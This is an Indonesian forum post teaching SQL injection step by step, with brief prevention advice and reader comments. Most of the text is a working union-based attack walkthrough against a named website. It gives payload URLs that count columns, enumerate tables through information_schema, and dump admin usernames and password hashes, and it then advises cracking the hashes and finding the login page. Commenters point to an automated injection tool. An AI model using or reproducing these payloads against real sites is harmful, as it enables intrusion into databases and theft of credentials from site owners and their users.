[+] SQL injection
SQL injection merupakan teknik mengeksploitasi pada kelemahan suatu script yang dapat memaparkan data data yang tersimpan dalam sebuah database, misalnya dalam table user yang menampung data useradmin beserta passwordnya.
[-] Bagaimana cara melakukan teknik SQL injection ini?
Teknik ini didapat melalui mengecek kesalahan parsing php yang memungkinkan terjadinya sebuah vuln, sebagai contoh
Code
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
>
Kita lihat bahwa variable “id” tidak terfilter, dengan begitu memungkinkan seorang Attacker untuk memasukkan special character pada jumlah id sehingga Attacker dapat mengetahui suatu web yg mempunyai vuln pada SQL injection dengan cara memberi special character pada akhir id, misalnya id=1’ akan memunculkan pesan error (null) Unclosed quotation mark before the character string '1' ' dan sejenisnya,
dengan begitu kita dapat mengeksploitasi melalui id dengan cara menginjeksi satu persatu untuk mencari tahu jumlah table, nama coloumn, nama table, dan bahkan informasi data admin.
Ex:http://smagocyber.co.cc/blog/view.php?id=null+union+all+select+1,2,3,concat(user,0x3a ,password),5,6,7,8,9,10+from+users—
Dan akan muncul username dan passwordnya (biasanya dalam bentuk md5)
[-] Berikut step by step metode sql injection
Cek vulnerability dengan single quote :
http://smagocyber.co.cc/blog/view.php?id=100
setelah itu, kita mencari Halaman apa yang memiliki vuln
http://smagocyber.co.cc/blog/view.php?id=100 order by 1-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 2-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 3-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 4-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 5-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 6-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 7-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 8-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 9-- > error (You have an error in your SQL syntax) ok, kita tahu bahwa target mempunya 8 table.
sekarang kita cari angka table yg muncul untuk kita injeksi pada selanjutnya
dg perintah union select
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,5,6,7,8—
Ok, misalkan yg keluar angka 5, berarti kita nanti akan menginjeksi pada table angka 5.
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada angka yg keluar tadi
Ex: http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,version(),6,7,8-- atau http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,@@version,6,7,8--
Apabila versi 4, kita tinggalkan saja, karena versi 4 ini kita harus menebak sendiri table & column yg ada pada target tersebut karena tidak bisa menggunakan perintah from+information_schema.. Namun masih terdapat metode SQL injection lain yang lebih rumit untuk versi 4.
Baik, kita misalkan target menggunakan versi 5.
untuk menampilkan table yg ada pada target kita gunakan perintah
Code
table_name --> nomor table yg akan di inject tadi (angka5)
+from+information_schema.tables --> dimasukan setelah angka terakhir
Ex: http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
Misal table yang muncul adalah "admin"
Selanjutnya, gunakan perintah
Code
group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
+from+information_schema.columns+where+table_name=0xhexa—
>>> dimasukan setelah angka terakhir
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa—
Convert nama table (admin) ke dalam hex, kamu bisa menggunakan hex converter di http://systems-gabirel.isgreat.org
Misal admin maka akan menjadi 61646D696E
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E—
Selanjutnya, kita keluarkan isi table yaitu dengan command
Code
concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
+from+(nama table berasal) >>> dimasukan setelah angka terakhir
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)—
contoh kata yang keluar adalah id,username,password
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin—
Selanjutnya kita tinggal mendecrypt password hash (biasanya dalam bentuk md5) dan mencari halaman login
[-] Bagaimana cara mencegah terjadinya SQL injection?
Kita dapat mencegah terjadinya teknik SQL injection ini dengan cara mendisable special character seperti [ - , . ( ) ' " _ + / * ] agar tidak memunculkan pesan error (null), edit bagian file yang mempunyai vuln dengan cara memberi keterangan bahwa hanya memunculkan id=(integer)
Yaitu pada bagian
Code
$id = $_GET['id']; diganti dengan $id=(int)$_GET['id'];
NB: Biasanya pada sebuah cms seperti joomla mempunyai jumlah table dan coloumn yang sama, sehingga terciptalah sebuah exploit. Exploit tersebut dapat dibedakan melalui component/widget yang dipakai, dan versi dari component/widget tersebut sehingga akan mempunyai vuln yg sama.
good tutorial bro ... keep exploreyourbrain.. lagi gw pelajarin tutorialnya ....
Barangsiapa mengajarkan ilmu, maka baginya pahala seperti orang yang mengamalkan ilmu nya dan tidak akan mengurangi pahala orang yang melakukan amal tersebut.
nice share bro. kl mau tutorial komplit yang bisa experiment di komputer sendiri silahkan download ebook "SQL Injection Exposed" di ebook tersebut sudah di sertakan CMS Sederhana yang bisa di inject.
jadi bisa langsung praktek di komputer lu langsung. (heheheh promosi mode on )
Nabi Muhammad SAW bersabda :” Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahui” (HR. Imam Ahmad).
Yg pke tools jg bisa.. tapi ga da serunya.. (kecuali kalau benar-benar 'segera'.. bisa search lokal di indo***ster.com, namanya Havij Pro. Sekarang dah yang versi 1.14